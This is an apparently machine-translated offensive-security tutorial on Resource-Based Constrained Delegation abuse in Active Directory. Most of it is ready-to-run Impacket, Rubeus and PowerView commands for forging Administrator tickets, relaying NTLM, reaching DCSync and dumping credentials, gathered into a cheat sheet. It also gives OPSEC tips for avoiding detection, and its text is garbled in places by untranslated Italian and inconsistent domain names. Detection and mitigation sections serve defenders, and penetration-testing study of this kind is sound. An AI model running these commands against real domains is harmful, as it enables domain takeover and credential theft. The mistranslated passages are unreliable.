RBCD Attack : Resource-Based Constrained Delegation PrivEsc

RBCD leverages write access on msDS-AllowedToActOnBehalfOfOtherIdentity for privilege escalation on active directory. Drive with Impacket, Rubeus and NTLM relay.
- Posted on 2026-07-12
- Reading time: 8 min
Resource-Based Constrained Delegation: From GenericWrite to Domain Admin #
RBCD uses write access on the attribute msDS-AllowedToActOnBehalfOfOtherIdentity of a target computer. Enter the SID of an account you control, then use S4U2Self + S4U2Proxy to get a TGS as Administrator on that computer—without touching krbtgt, without direct DCSync.
Resource-Based Constrained Delegation (RBCD) was introduced in Windows Server 2012 R2 and allows a computer to declare which accounts can authenticate on its behalf. The attribute that controls this behavior— msDS-AllowedToActOnBehalfOfOtherIdentity —it can be written by anyone who has GenericWrite, GenericAll o WriteProperty on the target computer object.
In an engagement, this translates to: you have write access to FILESERVER$ via a misconfigured ACL → you create (or use) a computer account → you write its SID in the target attribute → you use S4U to get a ticket as Administrator on FILESERVERThe Domain Controller performs the delegation as if it were legitimate, because the policy is written directly to the destination object.
Key Takeaway: RBCD transforms write access to a computer object into running code as Administrator on that machine. This is one of the most common and productive ACL abuses in Active Directory.
Classified by MITRE ATT&CK as T1134.001.
How it works #
The Kerberos Service for User (S4U) mechanism has two extensions:
- S4U2Self: An account with an SPN can request a TGS for itself by impersonating any user—even without knowing the user's password. The DC allows this because the account is making the request "for itself," not asking to authenticate as someone else. The ticket you receive has the Administrator client, but is marked "forwardable" only if the DC deems the calling account eligible for delegation.
- S4U2Proxy: that forwardable ticket can be exchanged with the KDC for a second TGS, this time to a third party service (e.g.
cifs/TARGET). This is where delegation comes into play: the KDC checks whether the calling account is authorized to delegate to that service. In classic constrained delegation, this check looks atmsDS-AllowedToDelegateToon the source account; with RBCD lookmsDS-AllowedToActOnBehalfOfOtherIdentityon target
With RBCD it is the target computer to declare “I trust FAKE$, it can act on my behalf”. When FAKE$ runs S4U2Self to get a ticket as Administrator, and then S4U2Proxy to the target, the DC considers it legitimate because the delegation policy is written in the target's attribute itself — no need to touch the source account.
S4U2Self requires that the account running it have at least one SPN registered—that's why you need a machine account or a service account, not a regular user without an SPN. And RBCD is configured exclusively on objects. computer: the attribute msDS-AllowedToActOnBehalfOfOtherIdentity It does not exist on users.
Attack flow:
Write access su msDS-AllowedToActOnBehalfOfOtherIdentity del target
↓
Crea o usa un account con SPN sotto il tuo controllo (FAKE$)
↓
Scrivi il SID di FAKE$ nell'attributo del target
↓
S4U2Self: FAKE$ ottiene un TGS impersonando Administrator
↓
S4U2Proxy: scambia quel TGS per un TGS verso cifs/TARGET
↓
Accesso al target come AdministratorPrerequisites #
- Write access on
msDS-AllowedToActOnBehalfOfOtherIdentityof the target computer — verifiable via blood hound looking for the edgeAllowedToAct(in addition to the classicsGenericWrite,GenericAll,WriteProperty(towards computer objects) - An account with an SPN under your control. The easiest way: create a machine account — by default, each domain user can create up to 10, controlled by
MachineAccountQuota(MAQ) - DC Windows Server 2012 R2 or higher
- The user to impersonate must exist and not be in the group Protected Users or marked “Account is sensitive and cannot be delegated”
Step 1 — Create (or Use) an Account with SPN #
Check first how many computer accounts you can create:
nxc ldap <DC_IP> -u utente -p Password123! -M maqCreate the fake machine account:
# Linux — Impacket
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ssword123!' \
-dc-ip <DC_IP> 'hackita.local/utente:Password123!'# Windows — PowerMad
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password (ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force)If you already have an account with SPN under control (existing service account, computer account), you can skip this step and use it directly.
Step 2 — Write FAKE01$ in the Target Attribute #
Before writing, check whether the target already has a proxy configured — if you overwrite it without saving it, you won't know what to restore at the end of the engagement:
impacket-rbcd -delegate-to 'TARGET$' -dc-ip <DC_IP> -action read 'hackita.local/utente:Password123!'If the read returns anything, save the output before proceeding. Then type:
# Impacket — configura RBCD: TARGET$ si fida di FAKE01$
impacket-rbcd -delegate-from 'FAKE01$' -delegate-to 'TARGET$' \
-dc-ip <DC_IP> -action write 'hackita.local/utente:Password123!'# PowerView
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-XXXXXXXXXX-SID-OF-FAKE01)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-ADComputer TARGET | Set-ADComputer -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}
# Verifica
Get-ADComputer TARGET -Properties msDS-AllowedToActOnBehalfOfOtherIdentityStep 3 — S4U Attack for the Ticket as Administrator #
With Rubeus (Windows) #
# Calcola l'hash di FAKE01$
Rubeus.exe hash /password:P@ssword123! /user:FAKE01$ /domain:hackita.local
# S4U2Self + S4U2Proxy — TGS come Administrator su TARGET
Rubeus.exe s4u /user:FAKE01$ /rc4:<NTLM_HASH_FAKE01> /impersonateuser:Administrator \
/msdsspn:cifs/TARGET.hackita.local /domain:hackita.local /pttWith AES256 (preferred, less noise):
Rubeus.exe s4u /user:FAKE01$ /aes256:<AES256_FAKE01> /impersonateuser:Administrator \
/msdsspn:cifs/TARGET.hackita.local /domain:hackita.local /pttTickets for multiple services at once:
Rubeus.exe s4u /user:FAKE01$ /rc4:<HASH> /impersonateuser:Administrator \
/msdsspn:cifs/TARGET.hackita.local /altservice:krbtgt,cifs,host,http,winrm,ldap \
/domain:hackita.local /pttWith Impacket (Linux) #
impacket-getST -spn cifs/TARGET.hackita.local -impersonate Administrator \
-dc-ip <DC_IP> 'hackita.local/FAKE01$:P@ssword123!'
export KRB5CCNAME=Administrator@cifs_TARGET.hackita.local@CORP.LOCAL.ccache
impacket-psexec -k -no-pass hackita.local/Administrator@TARGET.hackita.local
impacket-secretsdump -k -no-pass hackita.local/Administrator@TARGET.hackita.localStep 4 — Access and Post-Exploitation #
dir \\TARGET.hackita.local\C$
dir \\TARGET.hackita.local\ADMIN$
.\PsExec.exe \\TARGET.hackita.local cmd.exeFrom there you can proceed with credential dumping on the target machine and continue the lateral movement.
Alternative Carrier: NTLM Relay → Automatic RBCD #
Without direct write access, but with the ability to force NTLM authentication, ntlmrelayx configure RBCD automatically with --delegate-access: Creates fake computer account and writes attribute in one command.
Prerequisites: LDAP signing not required on the DC (default on Server 2022 and earlier), MAQ > 0.
- LDAP signing required → relay to simple LDAP fails
- LDAPS without channel binding (EPA disabled) → relaying remains possible even with signing active, because it passes through LDAPS instead of clear LDAP
# Relay verso LDAPS del DC
impacket-ntlmrelayx -t ldaps://<DC_IP> -smb2support --delegate-access \
--no-dump --no-da --no-acl --no-validate-privs
# Coercizione (PetitPotam, PrintSpooler, Responder, WebDAV)
# Al momento dell'autenticazione, ntlmrelayx crea un computer account random
# (es. KQCLXPVT$) e configura RBCD sul target automaticamente
# Ticket come Administrator con l'account creato
impacket-getST -spn cifs/TARGET.hackita.local -impersonate Administrator \
-dc-ip <DC_IP> 'hackita.local/KQCLXPVT$:<password_generata>'
export KRB5CCNAME=Administrator@cifs_TARGET.hackita.local@CORP.LOCAL.ccache
impacket-psexec -k -no-pass hackita.local/Administrator@TARGET.hackita.localParticularly effective with coercion via WebDAV (WebClient active on the target), because it forces a relayed HTTP authentication to LDAPS without having to bypass SMB signing.
RBCD on a Domain Controller → DCSync #
Direct write access to a DC's account computer is rare; in practice, the standard method is through ADCS. If the DC has a vulnerable HTTP enrollment template, the relay to the certificate endpoint opens an LDAP shell with which to configure RBCD directly on the DC:
# Relay dell'autenticazione coercita verso l'endpoint ADCS del DC
certipy relay -ca CA-IP -template DomainController
# Nella shell LDAP ottenuta, configura RBCD sul DC
set_rbcd DC01$ FAKE01$After setup, the flow is identical to the standard one:
impacket-getST -spn cifs/DC01.hackita.local -impersonate Administrator \
-dc-ip <DC_IP> 'hackita.local/FAKE01$:P@ssword123!'
export KRB5CCNAME=Administrator@cifs_DC01.hackita.local@CORP.LOCAL.ccache
impacket-secretsdump -k -no-pass hackita.local/Administrator@DC01.hackita.localIf you already have direct write access to the DC's computer object (rare, but it happens with legacy ACLs):
impacket-rbcd -delegate-from 'FAKE01$' -delegate-to 'DC01$' \
-dc-ip <DC_IP> -action write 'hackita.local/utente:Password123!'Then DCSync as above.
RBCD Chaining — Double Hop Without Direct Access #
If you have compromised ServiceA and you want to get to ServiceC, but ServiceB (the intermediary) can delegate to ServiceC Without protocol transition, you can concatenate two RBCDs:
- Configure RBCD from
ServiceAtoServiceB - Do a full S4U and get a forwardable service ticket as Administrator to
ServiceB - Reuse that forwardable ticket to do S4U2Proxy from
ServiceBtoServiceC— since the ticket is not tied to the service, you can change its SPN (e.g. fromtime/ServiceCacifs/ServiceC)
Useful when you have GenericWrite only on an intermediate node in the delegation chain and not on the final target.
RBCD Cross-Domain / Cross-Forest #
RBCD also works through a trust: a computer in one domain/forest can trust an account in a different domain, as long as the trust allows it. The S4U2Self/S4U2Proxy mechanism remains the same, but the following must be taken into account:
- The delegating account's SID must be resolvable through the trust (no SID filtering blocking it)
- The intermediate TGS traverses the trust — proper Kerberos referrals are needed between the two domains
This is an advanced scenario, typical of multi-forest environments with poorly configured two-way trusts — Impacket has a dedicated branch (cross_forest_rbcd) to manage these referrals automatically.
If MachineAccountQuota = 0 #
If you cannot create a computer account as a regular user, you still have four alternatives:
- Use a compromised computer account including
delegate-from, if you have the credentials - Add an SPN to an existing account on which you have
GenericWrite, and use it as the source of the delegation - RBCD from an SPN-less account — even a user without an SPN can be used as
delegate-fromin some scenarios (useful when there is no ADCS with HTTP endpoints and Shadow Credentials is not applicable, e.g. low domain functional level) - Shadow Credentials instead of RBCD — with
GenericWriteyou can write about a usermsDS-KeyCredentialLinkand get the NT hash via PKINIT, without needing MAQ:
certipy shadow auto -u attacker@hackita.local -p Pass -account targetuser -dc-ip <DC_IP>Common Mistakes #
| Error | Meaning |
|---|---|
KDC_ERR_BADOPTION | non-delegable user to impersonate (Protected Users or “sensitive and cannot be delegated”) |
KRB_AP_ERR_MODIFIED | SPN incorrect or not corresponding to the one registered on the target |
STATUS_ACCESS_DENIED | Ticket received correctly but service/port not correct on target |
INSUFF_ACCESS_RIGHTS | you really don't have GenericWrite/GenericAll on the target computer — verify the ACL with BloodHound before trying again |
Cheat sheet #
| Step | Command |
|---|---|
| MAQ Verification | nxc ldap <DC> -u user -p Pass -M maq |
| Create computer account (Linux) | impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123!' -dc-ip <DC> 'hackita.local/user:Pass' |
| Create computer account (Windows) | New-MachineAccount -MachineAccount FAKE01 -Password (ConvertTo-SecureString 'P@ss123!' -AsPlainText -Force) |
| Configure RBCD (Linux) | impacket-rbcd -delegate-from 'FAKE01$' -delegate-to 'TARGET$' -dc-ip <DC> -action write 'hackita.local/user:Pass' |
| Configure RBCD (PowerView) | Set-ADComputer TARGET -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} |
| S4U → ticket as Administrator | impacket-getST -spn cifs/TARGET.hackita.local -impersonate Administrator -dc-ip <DC> 'hackita.local/FAKE01$:P@ss123!' |
| S4U with Rubeus | Rubeus.exe s4u /user:FAKE01$ /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/TARGET.hackita.local /ptt |
| Use the ticket | export KRB5CCNAME=Administrator@cifs_TARGET.hackita.local@CORP.LOCAL.ccache |
| Run as Administrator | impacket-psexec -k -no-pass hackita.local/Administrator@TARGET.hackita.local |
| Check RBCD configured | impacket-rbcd -delegate-to 'TARGET$' -dc-ip <DC> -action read 'hackita.local/user:Pass' |
| RBCD Cleanup | impacket-rbcd -delegate-to 'TARGET$' -dc-ip <DC> -action flush 'hackita.local/user:Pass' |
| RBCD on DC → DCSync | impacket-rbcd -delegate-from 'FAKE01$' -delegate-to 'DC01$' -dc-ip <DC> -action write 'hackita.local/user:Pass' |
| ADCS Relay → RBCD on DC | certipy relay -ca CA-IP -template DomainController |
| Shadow Credentials (alternative) | certipy shadow auto -u attacker@hackita.local -p Pass -account targetuser -dc-ip <DC> |
Alternative tools: in addition to Impacket and Rubeus, RBCD can also be configured with NetExec (nxc ldap <DC> -M rbcd) to BloodyAD (bloodyAD --host <DC> -u user -p Pass set object TARGET$ msDS-AllowedToActOnBehalfOfOtherIdentity -v FAKE01$).
OPSEC #
- You prefer AES256 a RC4 for the S4U attack — fewer anomalies in modern environments
- The computer account created (
FAKE01$) remains in AD after the attack — remove it at the end of the engagement to avoid leaving artifacts msDS-AllowedToActOnBehalfOfOtherIdentitymodified is the main signal — restores the original attribute with-action flush- Attention:
flushremove all the ACEs in the attribute, not just the one you added. If the target already had a pre-existing legitimate delegation,flushdeletes it along with yours — hence the importance of the-action readdone first in Step 2 - Users in Protected Users or with “Account is sensitive and cannot be delegated” are not impersonable via S4U — choose the impersonation target accordingly
- Avoid names like
FAKE01$for the computer account — a naming consistent with the domain convention (e.g. similar to existing workstations/servers) attracts less attention in a manual review
Real Scenario #
BloodHound shows that your compromised account has GenericWrite su FILESERVER$You don't have direct access to the file server but want to get there:
- Please check that
MachineAccountQuota> 0 (default: 10) - Creations
FAKE01$withimpacket-addcomputer - Write the SID of
FAKE01$inmsDS-AllowedToActOnBehalfOfOtherIdentitydiFILESERVER$ - Run S4U with
impacket-getSTimpersonating Administrator - Log in to
\\FILESERVER\C$as Administrator - Remove
FAKE01$and restore the attribute
The entire flow requires only the credentials of a normal domain user — no elevated privileges, no access to the DC.
Detection #
🔴 HIGH:
- Event ID 5136 — edit to
msDS-AllowedToActOnBehalfOfOtherIdentityon a computer object (requires Directory Service Changes auditing) - Event ID 4741 — creating a new computer account, especially from non-administrative accounts
🟡 MEDIUM:
- Event ID 4769 — anomalous S4U2Self/S4U2Proxy requests (tickets for a user other than the requester)
- Computer accounts created by normal users (outlier than baseline)
- Changes to
msDS-AllowedToActOnBehalfOfOtherIdentityfollowed shortly by S4U authentications
Mitigation #
- Setting up MachineAccountQuota at 0 (
ms-DS-MachineAccountQuotaon the domain) — prevents normal users from creating computer accounts - Enable auditing Directory Service Changes to detect changes to
msDS-AllowedToActOnBehalfOfOtherIdentity - Add privileged accounts to the Protected Users Security Group — not delegable via S4U
- Flag sensitive accounts with “Account is sensitive and cannot be delegated” in ADUC
- Review with blood hound all edges
GenericWrite/GenericAlltowards computer objects and eliminate them where not needed
FAQ #
Do I have to create a computer account? No. If you already have an account with an SPN (service account, existing computer account), you can use it directly. A new computer account is only needed if you don't already have one.
Does a MachineAccountQuota of 0 completely block the attack? It only blocks the "create a fake computer account" vector. With an account with an SPN already in hand, or a compromised service account, the attack remains possible.
Does the impersonated user have to exist? Yes, unlike the Silver Ticket. S4U2Self requires that the account to be impersonated exists in the domain and does not have “Account is sensitive and cannot be delegated” enabled.
Conclusion #
RBCD is one of the most effective ACL abuses in Active Directory because it turns a seemingly harmless permission — GenericWrite on a computer object — running code as Administrator on that machine. In enterprise environments with unreviewed legacy delegations, this path is extremely common.
The defense requires three things in parallel: MachineAccountQuota to 0, auditing on msDS-AllowedToActOnBehalfOfOtherIdentity, and a systematic review of edge ACLs using blood hound to eliminate the GenericWrite unjustified on computer objects.
Connect to #
External resources:








